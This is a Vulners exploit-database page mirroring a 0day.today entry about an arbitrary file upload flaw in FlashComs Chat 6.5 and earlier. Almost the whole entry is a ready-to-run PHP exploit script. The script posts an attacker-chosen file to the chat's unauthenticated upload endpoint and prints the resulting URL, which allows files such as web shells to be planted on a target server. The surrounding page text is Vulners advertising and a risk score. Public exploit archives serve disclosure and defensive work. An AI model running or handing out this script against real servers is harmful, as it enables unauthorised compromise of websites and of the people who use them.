Lucene search
K

FlashComs Chat <= 6.5 - Arbitrary File Upload Vulnerability

🗓️ 02 Dec 2013 00:00:00Reported by Miya ChungType 
zdt
 zdt
🔗 0day.today👁 39 Views

FlashComs Chat Arbitrary File Upload Vulnerabilit

Code
<?php

 
$options = getopt('u:f:');
 
if(!isset($options['u'],$options['f'])) die("\nHow to use: php $_SERVER[PHP_SELF] -u URL -f FILE_TO_UPLOAD\nExample: php $_SERVER[PHP_SELF] -u www.example.com/paths -f myfile.txt\n");
 
$handle = curl_init();
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
curl_setopt($handle, CURLOPT_URL, "http://".$options['u']."/common/server/php/file.php?action=upload");
curl_setopt($handle, CURLOPT_POSTFIELDS,array("Filedata" => "@".$options['f']."","fileId" => $options["f"]));
$result = curl_exec($handle);
 
if(strpos($result,"UPLOAD_SUCCESS")){
    echo "\n_____________________________________________________________________\n";
    echo "\t[+] Exploitation success!!\n";
    echo "\t[+] http://$options[u]/files/$options[f]\n";
    echo "_____________________________________________________________________\n";
}else{
    echo "\n[-] Target is not exploitable\n";
    preg_match('#msg="(.*?)" />#si',$result,$msg);
    echo "[-] Message: ".$msg[1]."\n";
}                              
 
?>

#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Dec 2013 00:00Current
7.1High risk
Vulners AI Score7.1
39